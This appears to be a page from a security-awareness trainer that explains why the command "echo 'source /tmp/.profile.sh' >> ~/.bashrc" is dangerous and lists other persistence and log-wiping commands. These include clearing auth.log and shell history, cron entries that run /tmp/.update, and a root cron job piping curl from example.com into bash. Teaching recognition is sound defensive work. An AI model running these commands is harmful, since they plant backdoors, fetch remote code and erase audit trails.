Dangerous
echo 'source /tmp/.profile.sh' >> ~/.bashrclinux · bash · Advanced
Appends a line making every new interactive shell load a script from a world-writable directory. It survives reboots, runs with your privileges each time you open a terminal, and looks like ordinary shell customisation.
Signals to notice
- Shell startup file modified to load external code
- Source file lives in a world-writable directory
- Executes on every new session
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert